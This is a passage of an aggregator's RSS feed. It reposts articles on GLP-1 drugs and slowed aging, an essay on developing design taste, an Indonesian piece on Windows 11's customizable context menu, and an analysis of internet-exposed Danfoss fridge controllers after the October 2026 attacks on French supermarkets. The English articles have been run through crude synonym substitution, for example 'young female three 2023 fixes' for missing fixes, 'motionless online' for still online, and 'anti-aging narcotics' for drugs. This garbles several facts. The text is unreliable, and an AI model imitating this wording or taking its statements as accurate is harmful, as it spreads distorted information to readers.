href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> has anti-aging effects in fit group complete 60, looking at changes in cognition, mobility, and acuity of the senses. That project additionally seeks to assistance define a regulatory pathway for anti-aging narcotics and to "build a new therapeutic industry" about longevity.</span></p> <p><span>With the two Novo and Lilly now applying biological-age readouts to their GLP-1 franchises, the industry's two largest </span><a href="https://en.mycoding.id/category/technology" target="_blank">obesity<span> (search)</span><span aria-hidden="true">Search disease</span></a><span> players are construction the evidence basis that an FDA panel stated the site itself must supply. Novo stated it is exploring person medication indications throughout immune-mediated inflammatory diseases, ache and addiction, and women's and men's health, alongside resources including incretins, amylins, anti-inflammatory resources and another mechanisms of action.</span></p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/novo-nordisk-eli-lilly-report-glp-1-signals-of-slowed-biological-aging-at-ardd-73236</guid> <pubDate>Tue, 20 Oct 2026 02:34:58 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Developing Taste]]></title> <description><![CDATA[Developing Taste. Comments]]></description> <media:thumbnail url="https://emilkowal.ski/ui/developing-taste/opengraph-image.jpg?504f64db8768edb1"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/developing-taste-73237</link> <content:encoded><![CDATA[<div> <p>When the archetypal car came out, consumers didn&rsquo;t attention concerning its color, or silhouette, since the competition was a horse.<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-1">1</a></sup> But now that cars have been commoditized, norm and particulars have rotate into additional crucial than ever.</p> <p>The identical applies to software. Simply shipping a merchandise that plant is no longer enough, everyone can do that, particularly now alongside AI. It&rsquo;s not the differentiator anymore as group anticipate things to work. What makes a merchandise remain out is the brand, design, how intuitive it is, the general experience. <em>Taste</em> is what matters.</p> <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span><span>&ldquo;</span><p>In a earth of scarcity, we treasure <em>tools</em>. <br> In a earth of abundance, we treasure <em>taste</em>.</p><span>&rdquo;</span></span><div><p><span>Anu Atluru<span><span>, </span> Taste is Eating Silicon Valley</span></span></p></div></a> <p>But what is fine taste? It&rsquo;s commonly mistaken as individual preference, but it&rsquo;s additional than that &mdash; it&rsquo;s a trained instinct. The capability to see beyond the apparent and acknowledge what elevates. It&rsquo;s why several designs awareness effortless. So the genuine inquiry is, how do you train that instinct?</p> <a href="https://en.mycoding.id/category/technology" target="_blank"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none"><path d="M10 19.0004L9.82843 19.1719C8.26634 20.734 5.73368 20.734 4.17158 19.1719L3.82843 18.8288C2.26634 17.2667 2.26633 14.734 3.82843 13.1719L7.17158 9.8288C8.73368 8.2667 11.2663 8.2667 12.8284 9.8288L13.1716 10.1719C13.8252 10.8256 14.2053 11.6491 14.312 12.5004" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M9.68799 12.5004C9.79463 13.3516 10.1748 14.1752 10.8284 14.8288L11.1715 15.1719C12.7336 16.734 15.2663 16.734 16.8284 15.1719L20.1715 11.8288C21.7336 10.2667 21.7336 7.73404 20.1715 6.17194L19.8284 5.8288C18.2663 4.2667 15.7336 4.2667 14.1715 5.8288L14 6.00037" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg><h2 id="surround-yourself-with-great-work">Surround yourself alongside awesome work</h2></a> <p>If you are a designer, you have to be looking at awesome designs. If you are a writer, you have to be study awesome books. Expose yourself to awesome work, this way you&rsquo;ll study how greatness looks and feels like.</p> <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span><span>&ldquo;</span><p>It comes downward to trying to disclose yourself to the finest things that <em>humans have done</em> and afterward try to bring those things into <em>what you&rsquo;re doing</em>.</p><span>&rdquo;</span></span></a> <p>Find group who are respected in their field. Look who they regard and build a curated catalog of tastemakers. Surround yourself alongside their work. Look at their designs, use their apps, peruse their books. Learning from the finest is the finest way to learn.<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-2">2</a></sup></p> <a href="https://en.mycoding.id/category/technology" target="_blank"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none"><path d="M10 19.0004L9.82843 19.1719C8.26634 20.734 5.73368 20.734 4.17158 19.1719L3.82843 18.8288C2.26634 17.2667 2.26633 14.734 3.82843 13.1719L7.17158 9.8288C8.73368 8.2667 11.2663 8.2667 12.8284 9.8288L13.1716 10.1719C13.8252 10.8256 14.2053 11.6491 14.312 12.5004" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M9.68799 12.5004C9.79463 13.3516 10.1748 14.1752 10.8284 14.8288L11.1715 15.1719C12.7336 16.734 15.2663 16.734 16.8284 15.1719L20.1715 11.8288C21.7336 10.2667 21.7336 7.73404 20.1715 6.17194L19.8284 5.8288C18.2663 4.2667 15.7336 4.2667 14.1715 5.8288L14 6.00037" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg><h2 id="think-about-why-you-like-something">Think concerning why you akin something</h2></a> <p>While calibrating your taste, don&rsquo;t tag things as fine or bad. Instead of relying on gut feelings, try to rationalize why item feels great. Analyze and comprehend patterns, don&rsquo;t depend purely on your intuition.</p> <p>If you&rsquo;re a designer, don&rsquo;t fair use apps, study them. Why does a particular communication awareness good?<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-3">3</a></sup> If you&rsquo;re a filmmaker, don&rsquo;t fair observe movies, think concerning why the director made the choices they did.</p> <p>Have a mindset of thinking deeply concerning what makes item great. Go beyond the exterior level. Be curious.</p> <a href="https://en.mycoding.id/category/technology" target="_blank"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none"><path d="M10 19.0004L9.82843 19.1719C8.26634 20.734 5.73368 20.734 4.17158 19.1719L3.82843 18.8288C2.26634 17.2667 2.26633 14.734 3.82843 13.1719L7.17158 9.8288C8.73368 8.2667 11.2663 8.2667 12.8284 9.8288L13.1716 10.1719C13.8252 10.8256 14.2053 11.6491 14.312 12.5004" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M9.68799 12.5004C9.79463 13.3516 10.1748 14.1752 10.8284 14.8288L11.1715 15.1719C12.7336 16.734 15.2663 16.734 16.8284 15.1719L20.1715 11.8288C21.7336 10.2667 21.7336 7.73404 20.1715 6.17194L19.8284 5.8288C18.2663 4.2667 15.7336 4.2667 14.1715 5.8288L14 6.00037" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg><h2 id="practice">Practice</h2></a> <p>Practice your craft. Create things. A decorator should design, a author should write. This volition create you not lone a fine fairness of taste, but also, alongside time, a tastemaker.</p> <p>While practicing, search feedback from others. Good critique from the correct individual can accelerate this procedure additional than test and error alone.</p> <p>The things you&rsquo;ll create likely won&rsquo;t be fine at first, but that&rsquo;s a fine sign. Your sensation is fine adequate to inform that your activity is not on par yet. This phase is normal. Don&rsquo;t quit, it&rsquo;ll get improved overtime.<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-4">4</a></sup></p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/developing-taste-73237</guid> <pubDate>Tue, 20 Oct 2026 02:12:03 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Microsoft Ubah Context Menu Windows 11, Kini Bisa Diatur Sesuai Kebutuhan]]></title> <description><![CDATA[Microsoft Ubah Context Menu Windows 11, Kini Bisa Diatur Sesuai Kebutuhan. Microsoft Ubah Context Menu Windows 11, Kini Bisa Diatur Sesuai Kebutuhan. Sebuah pembaruan menarik yang mungkin sudah cukup durasi ditunggu pelanggan datang me...]]></description> <media:thumbnail url="https://winpoin.com/wp-content/uploads/2026/10/image-134.png"/> <category><![CDATA[Indonesian]]></category> <link>https://en.mycoding.id/microsoft-ubah-context-menu-windows-11-kini-bisa-diatur-sesuai-kebutuhan-73251</link> <content:encoded><![CDATA[<div> <div> <div> <div> <p>Sebuah pembaruan menarik yang mungkin sudah cukup durasi ditunggu pelanggan datang melalui pembaruan <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank">KB5127936 </a>yang tersedia untuk pelanggan Windows Insider Release Preview. </p> <p>Nah jadi kawan kawan, melalui pembaruan ini Microsoft mulai memperkenalkan context menu baru yang lebih ringkas dan bisa dikustomisasi.</p> <p>Baca Juga : <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank">Microsoft Akhirnya Berikan Kontrol Maksimal di Context Menu Windows 11</a></p> <p>Seperti yang sudah dikabarkan beberapa minggu lalu, Microsoft memang tengah mengembangkan context menu agar dapat disesuaikan berdasarkan kebutuhan pengguna, dan akhirnya waktu pengetesan fitur tersebut telah tiba. </p> <p>Yang pasti sih fluktuasi ini menarik karena context menu menjadi salah satu bagiankecil Windows 11 yang cukup sering digunakan, karena selama ini, menu klik kanan terkadang terasa berantakan, terlebihlagi ketika banyak aplikasi menambahkan perintahnya sendiri.</p> <figure><img decoding="async" width="1133" height="593" data-pagespeed-lazy-src="https://winpoin.com/wp-content/uploads/2026/10/image-133.png" alt="" data-pagespeed-lazy-srcset="https://winpoin.com/wp-content/uploads/2026/10/image-133.png 1133w, https://winpoin.com/wp-content/uploads/2026/10/image-133-300x157.png 300w, https://winpoin.com/wp-content/uploads/2026/10/image-133-766x401.png 766w" sizes=" 1133px) 100vw, 1133px" data-pagespeed-url-hash="1811912819" src="https://winpoin.com/pagespeed_static/1.JiBnMqyl6S.gif"></figure> <p>Nah, di varian baru ini Microsoft tidak cuma merapikan tampilannya, tetapi juga memberikan kontrol lebih besar kepada pelanggan untuk menentukan perintah apa saja yang mau ditampilkan.</p> <h2>Context Menu Baru Bisa Dikustomisasi</h2> <p>Jadi guys, pada context menu yang baru, Microsoft menyediakan opsi Customize menu di bagiankecil paling bawah. Dari sana, pelanggan bisa mengatur isi menu klik kanan sesuai kebutuhan, tanpa mesti mengandalkan pengaturan kiriman Windows saja.</p> <figure><img loading="lazy" decoding="async" width="1440" height="900" data-pagespeed-lazy-src="https://winpoin.com/wp-content/uploads/2026/10/Microsoft-Akhirnya-Berikan-Kontrol-Maksimal-di-Context-Menu-Windows-11-1.jpg" alt="" data-pagespeed-lazy-srcset="https://winpoin.com/wp-content/uploads/2026/10/Microsoft-Akhirnya-Berikan-Kontrol-Maksimal-di-Context-Menu-Windows-11-1.jpg 1440w, https://winpoin.com/wp-content/uploads/2026/10/Microsoft-Akhirnya-Berikan-Kontrol-Maksimal-di-Context-Menu-Windows-11-1-300x188.jpg 300w, https://winpoin.com/wp-content/uploads/2026/10/Microsoft-Akhirnya-Berikan-Kontrol-Maksimal-di-Context-Menu-Windows-11-1-768x480.jpg 768w" sizes=" 1440px) 100vw, 1440px" data-pagespeed-url-hash="2589830596" src="https://winpoin.com/pagespeed_static/1.JiBnMqyl6S.gif"></figure> <p>Beberapa hal yang bisa diatur antara lain:</p> <ul> <li>Mengaktifkan maupun menonaktifkan perintah kiriman Windows seperti <em>Send to</em> dan <em>Create shortcut</em>.</li> <li>Menambahkan perintah seperti <em>Print</em> ke context menu.</li> <li>Memilih ekstensi aplikasi yang mau ditampilkan di menu utama maupun submenu.</li> <li>Menyembunyikan submenu khusus ekstensi aplikasi.</li> <li>Menampilkan perintah Cut, Copy, Paste, Rename, Delete, dan Share sebagai menu teks, bukan cuma deretan ikon.</li> <li>Memindahkan Properties ke bagiankecil paling bawah menu.</li> </ul> <p>Yang dengan pengaturan tersebut, pelanggan bisa mengurangi perintah yang jarang dipakai dan mempertahankan opsi yang memang sering dibutuhkan.</p> <h2>Tidak Perlu Lagi Terjebak Menu Klik Kanan yang Berantakan?</h2> <p>Nah salah satu yang aku sendiri kurang gemar adalah jumlah opsi yang bisa bertambah setelah pelanggan memasang aplikasi tertentu, karena beberapa aplikasi menambahkan perintah sendiri, sehingga menu klik kanan bisa menjadi panjang dan kurang praktis.</p> <p>Microsoft mencoba mengatasi hal tersebut dengan memberikan pengaturan yang lebih jelas untuk ekstensi aplikasi, dan pelanggan akhirnya dapat menentukan apakah ekstensi ditampilkan langsung di menu utama, dimasukkan ke submenu, maupun disembunyikan dari submenu ekstensi.</p> <p>Selain itu, perintah Cut, Copy, Paste, Rename, Delete, dan Share juga bisa ditampilkan sebagai teks langsung di menu. Jadi, pelanggan yang lebih betah dengan menu berbasis teks punya pilihan kecuali menggunakan ikon di bagiankecil atas context menu.</p> <figure><img loading="lazy" decoding="async" width="1411" height="774" data-pagespeed-lazy-src="https://winpoin.com/wp-content/uploads/2026/10/image-134.png" alt="" data-pagespeed-lazy-srcset="https://winpoin.com/wp-content/uploads/2026/10/image-134.png 1411w, https://winpoin.com/wp-content/uploads/2026/10/image-134-300x165.png 300w, https://winpoin.com/wp-content/uploads/2026/10/image-134-767x421.png 767w" sizes=" 1411px) 100vw, 1411px" data-pagespeed-url-hash="2106412740" src="https://winpoin.com/pagespeed_static/1.JiBnMqyl6S.gif"></figure> <p>Bagi yang sudah betah dengan pengaturan bawaan, tidak perlu berbuat apa pun dan context menu statis bisa digunakan seperti biasa, sedangkan pengaturan tambahan cuma diperlukan jika mau menyesuaikan tampilannya.</p> <h2>Cara Mengatur Context Menu Baru</h2> <p>Jika fitur ini sudah tersedia di perangkatmu, metode mengaturnya cukup sederhana:</p> <ol start="1"> <li>Buka File Explorer.</li> <li>Klik kanan file, folder, maupun area yang mendukung context menu.</li> <li>Pilih Customize menu di bagiankecil bawah.</li> <li>Atur perintah kiriman Windows, ekstensi aplikasi, dan tampilan menu sesuai kebutuhan.</li> </ol> <p>Nah kecuali itu, Microsoft juga mengutarakan bahwa pelanggan bisa mengekang tombol Shift sambil mengklik kanan desktop untuk melihat opsi tambahan.</p> <p>Tapi kawan kawan, perlu dicatat, fitur ini statis digulirkan secara berjenjang melalui Windows Insider Release Preview. Jadi, meskipun sudah menggunakan build yang sesuai, belum tentu semua alat langsung mendapatkan context menu baru tersebut.</p> <p>Nah yang pasti sih, fitur ini menarik sangat untuk dicoba, terlebihlagi jika Anda merasa kurang cocok dengan context menu yang acak-acakan seperti saat ini. Tapi sepertiapa menurutmu? komen dibawah guys. </p> <p>Untuk tanggal rilis, sayangnya belum ada detail kapan fitur ini akan datang untuk semua pengguna, namun estimasi aku sih bisa saja fitur ini datang dalam waktu dua bulan kedepan. </p> <p>Via : <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank">Microsoft</a></p> <div> <div> <hr> <p> <strong>Catatan Penulis :</strong> Kincai Media sepenuhnya bersandar pada iklan untuk statis hidup dan menyajikan konten teknologi berkualitas secara cuma-cuma — jadi jika Anda menikmati artikel dan panduan di situs ini, meminta whitelist halaman ini di AdBlock Anda sebagai bentuk sokongan agar kami bisa terus berkembang dan berbagi insight untuk pelanggan Indonesia. Kamu juga bisa mendukung kami secara langsung melalui sokongan di <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank" rel="nofollow">Saweria</a>. Terima kasih. </p> </div></div> </div> </div> </div> </div> <div> <div> <p><a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank"> <img alt="" data-pagespeed-lazy-src="https://secure.gravatar.com/avatar/0778036c03d893e17d4ac3c10db364fa95639294d62b992544870e7190bf6f2c?s=120&amp;d=mm&amp;r=g" data-pagespeed-lazy-srcset="https://secure.gravatar.com/avatar/0778036c03d893e17d4ac3c10db364fa95639294d62b992544870e7190bf6f2c?s=240&amp;d=mm&amp;r=g 2x" height="120" width="120" loading="lazy" decoding="async" data-pagespeed-url-hash="1054150878" src="https://winpoin.com/pagespeed_static/1.JiBnMqyl6S.gif"> </a> </p> <div> <p><span>Written by</span></p><h4><a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank">Gylang Satria</a></h4> <p>Tech writer yang sehari‑hari berkutat dengan Windows 11, Linux, dan Samsung S24. Punya pertanyaan maupun butuh diskusi? Tag @gylang_satria di Disqus. Untuk kolaborasi, email saja ke <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank" data-cfemail="93e0f2eae6f4fae7f6f2fed3f4fef2faffbdf0fcfe">[email protected]</a></p> </div> </div> <div> <h2>Post navigation</h2> <div> <p><span>Previous Post</span> </p> <div> <figure> <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank"><img width="768" height="432" data-pagespeed-lazy-src="https://winpoin.com/wp-content/uploads/2026/10/asus-proart-p16-rtx-spark-768x432.webp" alt="" decoding="async" loading="lazy" data-pagespeed-lazy-srcset="https://winpoin.com/wp-content/uploads/2026/10/asus-proart-p16-rtx-spark-768x432.webp 768w, https://winpoin.com/wp-content/uploads/2026/10/asus-proart-p16-rtx-spark-300x169.webp 300w, https://winpoin.com/wp-content/uploads/2026/10/asus-proart-p16-rtx-spark.webp 970w" sizes=" 768px) 100vw, 768px" data-pagespeed-url-hash="2896674670" src="https://winpoin.com/pagespeed_static/1.JiBnMqyl6S.gif"></a> </figure> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/microsoft-ubah-context-menu-windows-11-kini-bisa-diatur-sesuai-kebutuhan-73251</guid> <pubDate>Tue, 20 Oct 2026 01:57:50 +0700</pubDate> <author><![CDATA[support@mycoding.id (Doris Putra)]]></author> </item> <item> <title><![CDATA[Lula supporters protest against Meta to denounce its 'electoral interference']]></title> <description><![CDATA[Lula supporters protest against Meta to denounce its 'electoral interference'. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/lula-supporters-protest-against-meta-to-denounce-its-electoral-interference-73234</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/lula-supporters-protest-against-meta-to-denounce-its-electoral-interference-73234</guid> <pubDate>Tue, 20 Oct 2026 01:53:52 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[France's Supermarket Fridges Were Vulnerable Online for Months]]></title> <description><![CDATA[France's Supermarket Fridges Were Vulnerable Online for Months. Comments]]></description> <media:thumbnail url="https://website-cdn.assets.ipinfo.io/images/og/og_blog.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/france-s-supermarket-fridges-were-vulnerable-online-for-months-73229</link> <content:encoded><![CDATA[<div><div><p>On the night of October 11 to 12, 2026, fridges and freezers in hundreds of French supermarkets started to heated up. Cyber attackers had pushed the refrigeration systems into defrost mode, which heats the cooling parts to melt ice. Some units <a href="https://en.mycoding.id/category/technology" target="_blank">reached 50&deg;C</a> (122&deg;F), several equipment started to capture fire, <a href="https://en.mycoding.id/category/technology" target="_blank">according to the Paris prosecutor</a>, and stores <a href="https://en.mycoding.id/category/technology" target="_blank">threw distant their caller and icy food</a>. The reports pointed to one creator of refrigeration controllers, Danfoss (a Danish manufacturing company).</p><p>We went through IPinfo's weekly Internet scans to analyze these systems before the attack. In this blog article we&rsquo;ll examine several of the findings. Here&rsquo;s the TL;DR:</p><ul><li><strong>France had additional exposed fridge dashboards than the remainder of the earth combined:</strong> 1,331, against 1,197 in the another 72 countries and territories put together.</li><li><strong>85% ran application alongside known safety flaws.</strong> That includes 527 older controllers Danfoss no longer supports. Only 195 had all known fix.</li><li><strong>Most had been exposed for at smallest six months.</strong> 1,019 of the French dashboards were at the identical location on March 30, and the portion completely updated rosy lone from 14% to 24% in that period period.</li><li><strong>France didn't place worse than another countries.</strong> The flawed portion elsewhere was nearly the identical (84%). France fair had far additional of these systems online.</li><li><strong>Most went offline following the attack.</strong> 316 of the 1,331 were motionless online on October 14.</li></ul><h2 id="what-happened">What Happened</h2><p>The numbers from the chains keep growing. <a href="https://en.mycoding.id/category/technology" target="_blank">More than 400 stores</a> were hit in total according to Futura-Sciences, and <a href="https://en.mycoding.id/category/technology" target="_blank">losses could attain multiple myriad euros</a>. Carrefour stated 80 of its stores were hit, during Intermarch&eacute; and Netto, the two part of Les Mousquetaires (a French retailing group), had <a href="https://en.mycoding.id/category/technology" target="_blank">more than 300 hit</a>. Monoprix reported that <a href="https://en.mycoding.id/category/technology" target="_blank">about 5% of its stores</a> were affected.&nbsp;</p><p>Leclerc and Coop&eacute;rative U, two another French supermarket chains, <a href="https://en.mycoding.id/category/technology" target="_blank">also confirmed attacks</a>. Coop&eacute;rative U's CEO, Dominique Schelcher, <a href="https://en.mycoding.id/category/technology" target="_blank">told RTL</a> that 80 of its 2,000 stores were hit. He added that the stores don't buy from Danfoss immediately but use a Danfoss scheme supplied by their refrigeration contractors.</p><p><a href="https://en.mycoding.id/category/technology" target="_blank">Danfoss said</a> most of the affected equipment was "legacy,&rdquo; naming two older controller models, the AK-SM 800 and AK-SC 355. CERT-FR (France's cybersecurity agency) <a href="https://en.mycoding.id/category/technology" target="_blank">said it knew of many compromises</a> of AK-SM and AK-SC controllers. It told operators to disconnect them or restrict who can attain them, and <a href="https://en.mycoding.id/category/technology" target="_blank">updated its vigilant on October 13</a> to add XWEB supervisors (systems that detect a store's fridges and freezers) from Copeland, a US creator of cooling equipment, and Dixell, its Italian brand. Its vigilant says assault campaigns are likely motionless ongoing. Nobody has stated who did it or how they got in, and the Paris prosecutor's agency has opened an <a href="https://en.mycoding.id/category/technology" target="_blank">investigation</a>.</p><h2 id="france-stood-out-by-far">France Stood Out, by Far</h2><p>We scan <a href="https://en.mycoding.id/category/technology" target="_blank">the IPv4 Internet</a> (the most average category of Internet address) all week, connecting to the customary ports that websites use (the numbered doors a device answers on) and record what answers. In the clear that ran on October 6 and 7, five days before the attack, 2,528 addresses showed a Danfoss StoreView dashboard. That is the web leaf that stores and technicians use to observe and oversee these controllers, the equal of the authority panel in the rear room, apart from that anyone who typed in the location could open it.</p><p>According to our data, France had 1,331 of them (53%). That is additional than the another 72 countries and territories blended (1,197). Poland came next alongside 179, afterward the United States (101), Portugal (92), and Belgium (85).</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-fridge-chart.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/france-fridge-chart.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/france-fridge-chart.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-fridge-chart.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards open to the Internet, by country, October 6&ndash;7, 2026.</span></figcaption></figure><p>Why France? Our data can't say, but it rules a few things out. French dashboards ran the identical mix of application versions as everyplace else, so they weren't patched worse. They additionally weren't different in how they connect. In France, concerning two-thirds nexus through one national provider, much akin the chief telecom in Portugal, Germany, or Romania. Almost all (98%) are on telecom providers' networks fairly than in data centers or clouds, which fits a controller plugged into the store's own Internet connection, alongside admission opened for a technician or caput office.&nbsp;</p><p><a href="https://en.mycoding.id/category/technology" target="_blank">CERT-FR's advice</a> hints at why stores keep them online: it tells them to inspect their coverage conditions before cutting the data their controllers dispatch to refrigeration contractors.</p><h2 id="most-fridge-software-was-out-of-date">Most Fridge Software Was Out of Date</h2><p>The dashboards additionally provision distant how old the application rearward them is. They arrive in two generations. The older one is a leaf built alongside Flash (an old browser plug-in, former in 2020) and served by the AK-SM 800. Danfoss <a href="https://en.mycoding.id/category/technology" target="_blank">declared these controllers end of existence in 2023</a>. That identical year, the safety resolute Synacktiv <a href="https://en.mycoding.id/category/technology" target="_blank">published a login bypass</a> (a way in without the password) for them, and Danfoss's direction was to restrict network access. This is the "legacy" equipment Danfoss named.</p><p>The newer one runs on the AK-SM 800A, Danfoss's current model. Its dashboard shows whenever its application was built, a bit akin the manufacturing date stamped on a carton, which tells us approximately which type it runs: 242 of them say May 19, 2023, the build date of firmware 3.3 (firmware is the application built into the controller). Controllers older than 3.3 young female <a href="https://en.mycoding.id/category/technology" target="_blank">three 2023 fixes</a>, including one for <a href="https://en.mycoding.id/category/technology" target="_blank">a flaw rated critical</a>. Those older than 4.2 additionally young female a fix for <a href="https://en.mycoding.id/category/technology" target="_blank">a 2025 login bypass</a>, and those older than 4.3.1 young female <a href="https://en.mycoding.id/category/technology" target="_blank">two additional 2025 fixes</a>.</p><p>Put together, 85% of the French dashboards (1,136 of 1,331) ran application alongside known safety flaws, nearly the identical as the 84% elsewhere. That is 527 older controllers Danfoss no longer supports, 280 missing the 2023 fixes, and 329 missing the 2025 fixes. Only 195 had all known fix.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-open-internet.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/france-open-internet.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/france-open-internet.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-open-internet.png 1080w" sizes=" 720px) 720px"><figcaption><span>How up to date the Danfoss dashboards were, France and the remainder of the world.</span></figcaption></figure><h2 id="the-exposure-has-existed-for-months">The Exposure Has Existed for Months</h2><p>Every scan from delayed March 2026 until the assault established concerning the identical number: between 2,464 and 2,622 Danfoss dashboards open to the Internet, approximately fractional of them in France.</p><p>They were mostly the identical devices. Of the 1,331 French dashboards established on October 6, 1,019 were open at the extremely identical location on March 30, six months earlier. Over those months, the figure of older controllers Danfoss no longer supports didn't go downward in France (519 at the end of March, 527 in October). Updates came slowly. The portion of newer French controllers alongside all known fix went from 14% to 24%, under two points a month.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-since-march-timeline.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/open-since-march-timeline.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/open-since-march-timeline.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-since-march-timeline.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards established in all weekly scan, March 30 to October 6, 2026.</span></figcaption></figure><h2 id="did-stores-disconnect-after-the-attack">Did Stores Disconnect After the Attack?</h2><p>Most stores did disconnect following the attack. Our next weekly scan ran on October 14, two days following the attack. Of the 1,331 French dashboards from October 6&ndash;7, lone 316 were motionless online at the identical address, a 76% drop. In the weekly scans from August to first October, lone 3% to 7% disappeared from one week to the next. The older controllers Danfoss no longer supports cut the most, from 527 to 64. Fully updated ones cut too, from 195 to 54, which points to stores disconnecting them fairly than updating them.&nbsp;</p><p>Outside France, 25% disappeared, additional than the customary 9% to 12%. <a href="https://en.mycoding.id/category/technology" target="_blank">Censys</a>, another Internet scanning business that counts all day, saw a akin 71% autumn in France between October 11 and 14. On October 14, the specialized director of Claroty, the safety business that established the 2025 flaws, <a href="https://en.mycoding.id/category/technology" target="_blank">told Tom's Guide</a> that exposed AK-SM 800 controllers were motionless online. Our October 14 scan motionless established 64 of them.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/still-open-timeline.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/still-open-timeline.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/still-open-timeline.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/still-open-timeline.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards in France before and following the attack, by software.</span></figcaption></figure><h2 id="where-else-these-controllers-are-open">Where Else These Controllers Are Open</h2><p>France wasn't the lone nation alongside these systems online. Danfoss dashboards alongside known flaws were open in 69 another countries and territories, led by Poland (157), the United States (85), and Portugal (77). In several countries most were the older controllers Danfoss no longer supports: 80% in Iceland, 75% in Australia, and 72% in Germany.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-fridge-map.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/open-fridge-map.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/open-fridge-map.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-fridge-map.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards alongside known safety flaws, by country.</span></figcaption></figure><p>Some reports propose another European countries may have been hit. One expert quoted by Australia's <a href="https://en.mycoding.id/category/technology" target="_blank">ABC</a> stated Spain, Portugal, Poland, Germany, and Belgium had additionally been affected. Our data can't say whether they were, but it does display that all five had out-of-date Danfoss dashboards open to the Internet five days before the attack.</p><h2 id="what-about-dixell">What About 